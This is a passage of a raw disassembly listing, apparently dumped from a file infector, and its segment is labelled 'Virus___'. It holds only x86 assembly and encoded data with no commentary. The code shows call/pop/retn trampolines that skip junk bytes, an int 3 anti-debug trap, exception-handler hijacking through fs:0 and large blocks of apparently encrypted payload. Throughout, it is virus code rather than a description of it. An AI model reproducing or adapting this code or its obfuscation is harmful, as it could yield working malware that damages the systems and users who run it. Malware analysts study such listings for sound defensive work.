[ebp+71B2B39h], esi movzx edi, bx mov dword ptr [esi], 10001h push 0 push edx call sub_58485B and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58485B proc near ; CODE XREF: Virus___:00584853p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_58485B endp ; --------------------------------------------------------------------------- db 0F4h ; --------------------------------------------------------------------------- xchg eax, edx jmp dword ptr ss:[esi-69119FC1h] ; --------------------------------------------------------------------------- jmp loc_58488B ; --------------------------------------------------------------------------- inc eax xor [ebp-11447347h], esp jmp fword ptr [esi] ; --------------------------------------------------------------------------- dw 612Dh dd 44CE633Ah db 12h, 37h, 31h ; --------------------------------------------------------------------------- loc_58488B: ; CODE XREF: Virus___:00584874j xchg eax, esi jbe loc_584898 pusha mov ah, ch mov ecx, eax popa loc_584898: ; CODE XREF: Virus___:0058488Cj push eax pusha mov dx, ax jmp loc_5848B6 ; --------------------------------------------------------------------------- dw 0C5B7h dd 8A54503Bh, 75D8BE59h, 26FEE6E7h, 8F78355Ah ; --------------------------------------------------------------------------- inc ebp push ecx loc_5848B6: ; CODE XREF: Virus___:0058489Dj popa xchg eax, esi push 0 push ebx call sub_5848C3 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5848C3 proc near ; CODE XREF: Virus___:005848BBp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_5848C3 endp ; --------------------------------------------------------------------------- db 3Eh dec ecx int 3 ; Trap to Debugger shl ch, cl db 64h mov bh, 10h mov ebx, 1A9DCAF2h mov ebx, [ebp+71B0325h] push dword ptr [ebp+71EABC8h] mov [ebp+71B1391h], ecx call dword ptr [ebp+71B3561h] push 0 push esi call sub_584903 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_584903 proc near ; CODE XREF: Virus___:005848FBp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_584903 endp ; --------------------------------------------------------------------------- db 0A6h dd 70305C9Bh, 0A876CD8Fh, 0DEB70F2Bh, 0ABBCB58Bh, 6A071Eh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 810CC2C3h, 874811EFh, 0EB816661h, 9D8BB40Fh, 71B2C99h dd 411858Bh, 6A071Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 933F8FC3h, 0DBCC130h, 8689BA8Bh dd 0C4h, 259DBD89h, 958B071Bh, 71B29B5h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Ch, 48C35040h, 0D4FC016Ah dd 0B376C6D0h, 0FFE8B66h, 680h, 218D8900h, 83071B35h, 6A04C2h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 170C9FC3h, 0AD9D8947h, 8A071B2Bh, 205089F8h, 253D9D0Bh dd 858D071Bh, 71EBFF9h, 205D9D2Bh, 8689071Bh, 0B8h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0FFC35040h, 0E7E0E596h dd 7C4E186Bh, 6850Fh, 0BD090000h, 71B24B9h, 870F006Ah dd 6, 0BC59509h, 0B5FF071Bh, 71EABC8h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 0A7C35141h, 87A51FA5h, 0FF39F8BDh dd 1B09DD95h, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1504h, 0C3564600h, 9529399Ch, 71B05C1h, 1880Fh, 50FC0000h dd 89DF8B66h, 6A2434h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 392F7FC3h, 8B91BF66h, 0ABC8B5FFh dd 0E953071Eh, 0Fh, 2E301A78h, 838DAD98h, 877BDAD7h, 5F766C23h dd 34195FFh, 8D09071Bh, 71B32ADh, 31BD83FCh, 71B24h, 3C840Fh dd 95010000h, 71B0A19h, 0D4F4BB96h, 56507789h, 5BF88B66h dd 52006A96h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 0B91FB86h, 54BB6279h, 2411BD8Bh, 0B5FF071Bh dd 71EABC8h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 59C35040h, 5909A6Bh, 0B1D6BBD4h, 3D9D8BACh, 0FF071B20h dd 1B18A595h, 0FFDF8B07h, 1EABC8B5h, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 645213AFh dd 4A70C56Ah, 0D1958996h, 0F071B2Ah, 68Eh, 41BD0B00h, 0FF071B30h dd 1B293D95h, 2D9D8B07h, 83071B09h, 1B28F1BDh, 840F0207h dd 81h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h dd 7AC35646h, 2D299D8Bh, 858B071Bh, 71B007Dh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 1AC35242h, 81D79BAFh dd 0CE15B2D3h, 8E86Dh, 0BD780000h, 6B5BBAB3h, 0BD8BF4CCh dd 71B09B1h, 0C65Bh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 0F1C35040h, 9185C7CAh, 71B09h db 3 dup(0) ; --------------------------------------------------------------------------- loc_584C53: ; CODE XREF: Virus___:005847BBj jmp near ptr dword_583880+60Fh ; --------------------------------------------------------------------------- push 0 push edx call sub_584C63 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_584C63 proc near ; CODE XREF: Virus___:00584C5Bp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_584C63 endp ; --------------------------------------------------------------------------- db 7Fh aSbSf1anIaLJ db 'èB!˜f1/',1Bh,7,'‰¹,',1Bh,7,'‹Áj',0 ; --------------------------------------------------------------------------- push edi call sub_584C92 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_584C92 proc near ; CODE XREF: Virus___:00584C8Ap arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_584C92 endp ; --------------------------------------------------------------------------- dw 8A9Ah dd 0B81C8BAFh, 0F5233E7h, 18Fh, 0E95FFC00h, 12h, 2EDE7298h dd 2DFBB2DEh, 0A463D86Ch, 0A09286BCh, 858DEBE2h, 71B1255h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 5C35343h dd 0E21A027h, 66FC1AACh, 26CBF381h, 0E990D98Bh, 0Ch, 375A5866h dd 1AB8B9E9h, 79257BF0h, 0BF525050h, 0C254713h, 5E8310Fh dd 96000000h, 0EEFFAEE0h, 820Fh, 5A5B0000h, 6A9058h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 203C3FC3h, 7E6A2F5Ah, 10E9A40Ch, 0ED000000h, 74238F26h dd 27E64E02h, 0F8AC148Bh, 6ABC5EEEh, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 851EEEB8h dd 97690F83h, 0AE98DCBh, 5E000000h, 97CFCB09h, 0A6A9A5A1h dd 9D09FC31h, 71B29C9h, 0DBB3006Ah, 9D9B858Dh, 6A071Fh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 0E8EDADC3h, 6E898A0h, 56000000h, 92A91B8h, 0FE8B661Fh dd 5C0835Fh, 1B319D29h, 6690071Bh, 0E850DA8Bh, 5, 27340F98h dd 6840F79h, 0F000000h, 84h, 89905B00h, 1B21019Dh, 0F006A07h dd 686h, 49BD8900h, 6A071B23h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 60FD9CE5h dd 2585BD8Bh, 8961071Bh, 1B0A05BDh, 0A995FF07h, 0F071B1Eh dd 8F0FDBB7h, 6, 2BD9BD89h, 8D8D071Bh, 71E979Ch, 68B0Fh dd 9D8B0000h, 71B1249h, 0EE9h, 85CE3200h, 0FD8CFBF3h, 918B5298h dd 0FF6B7DBBh, 5BD83D1h, 1071B21h, 7B850Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 227A79C3h, 45C40D17h, 1CE781F8h, 6A7C6E78h, 53006A02h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 0D2FC57B3h, 665F3AF5h, 507B95BBh, 0BE9h, 0E06800h, 0A0D5522h dd 413E61C9h, 29240489h, 1B12C1BDh, 0DD95FF07h, 0E9071B09h dd 5, 80A9379Ah, 0C81E9A4h, 0E80000h, 5D000000h, 9DA5ED81h dd 6A071Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 626D86C3h, 0FD735DE7h, 28B0F25h, 8B000000h dd 0D9BF0FDFh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 0F9C35646h, 0F5E03203h, 9202858Dh, 9589071Eh, 71B2E4Dh dd 0FE8A5090h, 35FF6490h, 0 ; --------------------------------------------------------------------------- mov large fs:0, esp sub ebx, [ebp+71B3521h] inc dword ptr [ebp+71B264Dh] mov edi, 5C35DDAFh mov ebx, esi push 0FFFFFFFFh push 0 push esi call sub_584FA3 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_584FA3 proc near ; CODE XREF: Virus___:00584F9Bp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_584FA3 endp ; --------------------------------------------------------------------------- db 55h db 0F2h, 8, 0C9h ; --------------------------------------------------------------------------- mov edi, ebx push dword ptr [ebp+71B2E85h] push 0 push ebx call sub_584FCA and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_584FCA proc near ; CODE XREF: Virus___:00584FC2p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_584FCA endp ; --------------------------------------------------------------------------- dw 0DD16h dd 0FE567FFDh, 0F88A4016h, 2F4595FFh, 13E9071Bh, 0F000001h dd 188Ah, 13E900h, 6D700000h, 69220CDCh, 8A7766ECh, 7307999Ah dd 0D9DD1AAFh, 0FDC78119h, 0B009E17Eh, 3DBD8B00h, 0E6071B1Ch dd 95BD8B70h, 0E4071B2Ah, 0C191BF71h, 613C66B4h, 0D0830Fh dd 9D8B0000h, 71B2921h, 60C8B60Fh, 0DDCDBA51h, 0E95A6459h dd 5, 6E42AF8Bh, 6BA6172h, 8B000000h, 4E8C1C1h, 9498589h dd 0F766071Bh, 41BD8BE2h, 2B071B00h, 8BA8B7C8h, 55BB66D1h dd 8E96Dh, 89530000h, 1B24B98Dh, 858B5F07h, 71B05CDh, 831ACF80h dd 896007C0h, 1B315D85h, 0D3BF0F07h, 0C08361h, 5E8h, 12047700h dd 10E9E7F7h, 6F000000h, 5D9A96AAh, 0F3601A08h, 2D9CF564h dd 5F70FB77h, 3BDFBF0Fh, 0D830FD0h, 9000000h, 1B354D85h dd 34E907h, 8DB70000h, 0A698D8Bh, 0BD23071Bh, 71B1459h dd 0F01E183h, 1D84h, 0E8D38000h, 0A69A583h, 8BFE071Bh dd 1B35059Dh, 0CD958907h, 60071B05h, 0E961h, 0B58D0000h dd 71F1078h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 49C35545h, 1A659589h, 6A071Bh, 3309BD89h, 95FF071Bh dd 71B1289h, 2E21BD89h, 73B9071Bh, 8B000008h, 0FCE183F8h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0EDC35646h dd 6AFCC2DDh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 0FC8EC352h, 2307493Bh, 0B840ECh dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 9EDCC356h, 10E97F79h, 0C8000000h dd 2E528D22h, 5B9946EAh, 0C91B1700h, 0BA2430F0h, 0 ; --------------------------------------------------------------------------- push 0 push ebx call sub_5851D3 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5851D3 proc near ; CODE XREF: Virus___:005851CBp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_5851D3 endp ; --------------------------------------------------------------------------- sti loc_5851E4: ; CODE XREF: Virus___:005851EEj lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_5851E4 mov di, bx or eax, 88h push 0 push eax call sub_585203 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_585203 proc near ; CODE XREF: Virus___:005851FBp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_585203 endp ; --------------------------------------------------------------------------- db 0EAh ; --------------------------------------------------------------------------- xor eax, 0D03E208h mov edx, [ebp+71B29B5h] push 0 push ebp call sub_58522A and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58522A proc near ; CODE XREF: Virus___:00585222p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_58522A endp ; --------------------------------------------------------------------------- dw 7D31h dd 8B1C8F59h, 1B02F58Dh, 19D3307h, 50071B1Fh, 188BC28Bh dd 188BC103h, 0E8D1C18Bh, 188BC203h, 0DAB70F58h, 0E9FE8B66h dd 0Ch, 6A70A5FEh, 24355E59h, 4363C5AFh, 2165BD83h, 0F00071Bh dd 4084h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 0C15B4853h, 0EF0B0FB5h, 29EF805Bh dd 0B8h, 898D8D00h, 29071B4Fh, 1B24F1BDh, 89E1FF07h, 1B30519Dh dd 0CDBD8307h, 71B18h, 414840Fh, 89600000h, 1B16198Dh dd 45858B07h, 61071B24h, 18CDBD83h, 0F01071Bh, 41484h dd 55DB8100h, 83073E1Fh, 1B18CDBDh, 860F0307h, 3CBh, 5D5DBB66h dd 55006A60h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 0C8AAE19Bh, 4DE4415Bh, 8C668EB7h, 9DBD89D9h dd 80071B28h, 0C90A04E1h, 0DB840Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0A17F9C3h dd 0E6BB66EBh, 0FABF6642h, 0E5858BFAh, 81071B30h, 1705BE3h dd 59B5897Eh, 33071B2Dh, 1B305585h, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 23BB66FBh dd 0FB8B66D5h, 3830F50h, 66000000h, 489FE8Bh, 48B0F24h dd 66000000h, 6A7C40BFh, 0A5958900h, 68071B29h, 207D3AE7h dd 348166B7h, 62391824h, 0CE920h, 56510000h, 0A7860BA8h dd 515CCA18h, 95FF9EDDh, 71B04E9h, 29318589h, 8589071Bh dd 71EABC8h, 0A0F38166h, 23EE96Eh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8B668EC3h dd 0C0858BFEh, 6A071EABh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 48E8C356h, 5AF950D6h dd 0C7EF9Eh, 18h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 3C35040h, 68ED2D62h, 0BE8A03D1h, 0F99D898Bh, 3071B21h dd 1B0DBDBDh, 0C4B58B07h, 6A071EABh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 2036C357h dd 0E2439A54h, 21F58D29h, 858B071Bh, 71B0149h, 0CD19501h dd 689071Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 85C35343h, 1B161B2Eh, 8B0801FEh, 1B30E585h, 9D9D8B07h dd 89071B1Bh, 0BF510446h, 13A0ED17h, 0E860965Fh, 0Ah, 58FA36E7h dd 804C49BEh, 0EB8EE21h, 5F145FCDh, 0AE860h, 208A0000h dd 918F8458h, 424EE637h, 61F98B5Fh, 0AE95061h, 0B0000000h dd 3B38F2A5h, 0EC209E85h, 6A96CFh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 8BA95EC3h, 1B2BD19Dh dd 0EE907h, 26AE0000h, 2805CC4Ah, 138B04DEh, 3CB55C8Eh dd 0ABC0B5FFh, 6A071Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 0FA25E2C3h, 32AD9D8Bh, 0B668071Bh dd 0BB6DB0D7h, 191D838Fh, 49243481h, 0E96DAFD4h, 6, 22233D72h dd 0BF66DD66h, 858D7844h, 71EABC8h, 8E9h, 7DDFA700h, 7CA2A827h dd 6830F1Ch, 8B000000h, 1B2CB59Dh, 8B665007h, 240489DAh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 87C35747h dd 87B1535Dh, 0DDB52949h, 89071B25h, 1B0A0585h, 0E995FF07h dd 6A071B04h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 62CCC353h, 308A1550h, 1219D1BEh dd 0BE9h, 3F9EEA00h, 48D9AAA8h, 0C27CA811h, 50006A61h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 7AB4E3F2h, 0A312185Fh, 69BD8B7Fh, 0C7071B04h, 1B18CD85h dd 307h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 51C8F6CFh, 79854BBBh, 0BD835F77h dd 71EABC8h, 2C840F00h, 0F5000000h, 41E9h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 6FA8AA41h, 80E8CDA1h, 50D9DB80h, 110C30h, 0C1011144h dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h dd 4300111h, 4E98311h, 0EBE775h, 8B66C08Bh, 0FE9D9h, 0FD280000h dd 0F24D6A1Ch, 0A6AC3A10h, 17DE4D1Eh, 52006AD9h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 0DD303F76h, 7D9D8927h, 83071B13h, 1B18CDBDh, 850F0307h dd 413h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 0E5C35040h, 0A5825F24h, 0BD83B50Ch, 71EABC8h, 0E4840F00h dd 8B000003h, 1B04E19Dh, 0C8B5FF07h, 6A071EABh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 0BC08C355h, 8589D18Ah, 71B1655h, 9A595FFh, 8589071Bh dd 71B0D25h, 0ABBCB58Bh, 6A071Eh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 5AABCAC3h, 0BC4C05B8h dd 0FB2446Eh, 581h, 0FE44BF00h, 6C74AEFh, 10001h, 68E0Fh dd 95290000h, 71B1445h, 24348950h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 0D7C35141h, 0B1494DCBh, 0CF81203Dh dd 241BE18Ch, 0CA816660h, 9D8B6038h, 71B233Dh, 0C8B5FF61h dd 6A071EABh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 90C8C352h, 95FF5043h, 71B3561h dd 0BF66FA8Bh, 0B58B7B3Bh, 71EABBCh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 0BDC35646h, 858BC587h, 71B0411h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 19C35747h dd 0E1783763h, 0A526B3E9h, 17099D8Bh, 0BF0F071Bh, 518531DFh dd 89071B14h, 0C486h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 3C1F263Dh, 88406E00h dd 552072BBh, 6880F32h, 89000000h, 1B152985h, 11E907h dd 6540000h, 37877FB4h, 2E4C2F0Ch, 5EC6687Ch, 8B420B04h dd 1B29B595h, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 9580BCAh, 7C13A17Dh, 2601B529h, 0C283071Bh dd 6820F04h, 31000000h, 1B30E9BDh, 25952907h, 89071B27h dd 85892050h, 71B08C1h, 0BFF9858Dh, 0BF0F071Eh, 0B88689DFh dd 66000000h, 869ED781h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 14166AC3h, 49BD8B09h dd 0FF071B29h, 1EABC8B5h, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 0F1B449Dh dd 688h, 459D8900h, 0FF071B0Ah, 1B09DD95h, 50006A07h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 419E3468h, 1173BB51h, 60505064h, 0B1D98B60h, 525061B9h dd 59A9A8B9h, 5A310F35h, 34896158h, 55006A24h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h dd 1604h, 0C3554500h, 5075522Ah, 6880Fh, 9D8B0000h, 71B3455h dd 0FF8EB35Bh, 1EABC8B5h, 0FF86B307h, 1B034195h, 51006A07h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 99E744Fh, 1B306D95h, 0BD83F907h, 71B2431h, 22840F00h dd 8B000000h, 1B2841BDh, 81665007h, 5B566FF7h, 7E950h dd 0E8EF0000h, 721A8292h, 243489D8h, 11549CBFh, 0C8B5FF74h dd 6A071EABh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 6C6EC352h, 0E72E9913h, 799D8999h dd 0FF071B1Ah, 1B18A595h, 85BD8907h, 0FF071B25h, 1EABC8B5h dd 1D9D8B07h, 0FF071B04h, 1B293D95h, 0E6DF8007h, 14A19D2Bh dd 0BD83071Bh, 71B28F1h, 4A840F02h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 0B1D7C355h, 858BF863h, 71B007Dh, 31798589h, 0C6071Bh dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 9185C7A2h, 71B09h, 0BB000000h, 6D1F342Ch dd 0E9F88B66h, 0FFFFF41Ah, 8E9h, 8AB24700h, 92777E77h dd 8DC18BC7h, 1B125585h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 98E6A9E5h, 880Fh, 0E9900000h dd 7, 5088BA2Eh, 50F562BBh, 0D98B5250h, 0FA8B310Fh, 6A90585Ah dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 0CDA5C357h, 21D4FABBh, 0F006A77h, 6ADFBFh dd 16E1BD8Bh, 858D071Bh, 71FABBEh, 0BDD5D381h, 0C0837FE2h dd 0F3816605h, 609082F5h, 0F78B6653h, 6050615Fh, 11E8h dd 21BE0000h, 9908A23Ch, 7401305h, 13042660h, 0DD8AEA51h dd 11E95658h, 3000000h, 0B1998C57h, 0B01536Dh, 0FDF22889h dd 843B09EEh, 6A90615Ah, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 0B627C350h, 0E858B449h dd 0C9B1BF66h, 8166006Ah, 6A423ED7h, 0A995FF00h, 66071B1Eh dd 916FDF81h, 979C8D8Dh, 6A071Eh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1C0424h, 51410000h, 1D1732C3h, 9DE4914Ah dd 9D31A9DAh, 71B117Dh, 9D89D1FFh, 71B05C1h, 2105BD83h dd 0F01071Bh, 5B85h, 3860F00h, 0F000000h, 26AFBB7h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 15C35747h, 104F0CD7h dd 505646B1h, 0E9240489h, 12h, 479CC7FFh, 5F1FFFA5h, 696F2017h dd 0C664AE37h, 9531E092h, 71B2E75h, 9DD95FFh, 0BD8B071Bh dd 71B0045h, 0D90E9h, 0E800h, 815D0000h, 1FABC8EDh, 0EE907h dd 0AB8C0000h, 474EA5F4h, 5C65B577h, 0E64552DAh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 5FC35343h, 604AB7Ch dd 9D8B88E4h, 71B0BB5h, 9202858Dh, 0BD2B071Eh, 71B05C1h dd 0F525090h, 0F88B6631h, 6050585Ah, 0BCD6BB60h, 61603EADh dd 6A906161h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 0B3C9C352h, 66686906h, 64CF3DBFh dd 35FFh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 941F4EC3h, 899F8F52h, 1B1761BDh dd 25896407h, 0 ; --------------------------------------------------------------------------- clc inc dword ptr [ebp+71B264Dh] clc jl loc_585E01 movzx edi, si loc_585E01: ; CODE XREF: Virus___:00585DF8j push 0FFFFFFFFh push dword ptr [ebp+71B0A1Dh] mov [ebp+71B2A89h], edi call dword ptr [ebp+71B2F45h] jmp loc_585F58 ; --------------------------------------------------------------------------- dw 0BD8Bh dd 71B2351h, 816600B0h, 0E6082AD3h, 719D3370h, 0E4071B32h dd 9DBD8B71h, 0E8071B12h, 0Eh, 0AF911706h, 0AF008368h dd 95E0C321h, 0BD8BC4EBh, 71B29F5h, 0F613C5Bh, 0FF83h dd 0FCB8100h, 8B336942h, 0C8B60FDFh, 0B6DCBF66h, 6BAh dd 29BB6600h, 0FC18BB3h, 1581h, 10E900h, 96990000h, 0D032138Fh dd 44DA8634h, 35BD32EEh, 0E8C1CFC1h, 61BD8B04h, 66071B09h dd 667EDABBh, 12E9E2F7h, 77000000h, 0B32EADCBh, 0AC66D37Dh dd 0CBBA4332h, 0F827CD26h, 0E9C82BA3h, 7, 8448F64Fh, 8BB6D77Fh dd 0E9EDB3D1h, 8Ch, 6840Fh, 9D0B0000h, 71B116Dh, 8858Bh dd 9D8B0000h, 71B2FD1h, 8307C083h, 820F00C0h, 8, 0B1958956h dd 5F071B15h, 830FD03Bh, 11h, 35F5B589h, 4DE9071Bh, 0B000000h dd 1B25DD9Dh, 0FF8D8B07h, 0E9FFFFFFh, 13h, 0EBE63A62h dd 17CE747Fh, 9CB5BC89h, 841D01EDh, 83C239B2h, 840F01E1h dd 20h, 33A1B589h, 0A583071Bh, 0FFFFFFFFh, 89FA8BFEh, 895h dd 61B58900h, 0E9071B29h, 0 ; --------------------------------------------------------------------------- loc_585F58: ; CODE XREF: Virus___:00585E15j lea esi, [ebp+71F2A04h] push 0 push ebx call sub_585F69 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_585F69 proc near ; CODE XREF: Virus___:00585F61p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_585F69 endp ; --------------------------------------------------------------------------- cmc daa adc [ecx], bl retn ; --------------------------------------------------------------------------- pop eax xchg eax, ecx dec edx jmp loc_585F99 ; --------------------------------------------------------------------------- dw 0E18Eh dd 584EDC27h, 297CA5B2h, 7D92055Eh, 4EE7E3Ch db 1Bh ; --------------------------------------------------------------------------- loc_585F99: ; CODE XREF: Virus___:00585F81j mov [ebp+71B3579h], ecx push 0 push 0 push ecx call sub_585FAC and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_585FAC proc near ; CODE XREF: Virus___:00585FA4p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_585FAC endp ; --------------------------------------------------------------------------- dd 9589CDFDh, 71B0DD9h, 128995FFh, 0B589071Bh, 71B1251h dd 0FC5B9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 0E183F92Ch, 52006AFCh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 95894396h dd 71B18E5h, 68A0Fh, 95890000h, 71B2FB9h, 8DD5BFFCh, 0C02B29DFh dd 23A5B529h, 0BA071Bh, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 7AEEC357h dd 8D2191F1h, 0AD7019CFh, 0E8D1C233h, 0E983D003h, 8BF47504h dd 1B3585BDh, 0EE907h, 74710000h, 60002E68h, 0B25FD459h dd 8218EFF2h, 880Dh, 0B5895700h, 71B1F29h, 0B5958B5Fh dd 6A071B29h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 0A568C356h, 0DB39DDBAh, 58D0Fh dd 99BF0000h, 8907A941h, 1B03F58Dh, 0F58D8B07h, 6A071B02h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 0C6C2C352h, 12259D89h, 8B50071Bh, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 3CA5FBBFh, 65BD830Eh dd 71B21h, 70840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 0B531B0C3h, 0EB8166FFh dd 0B8A091h, 0F000000h, 8D8DF8B7h, 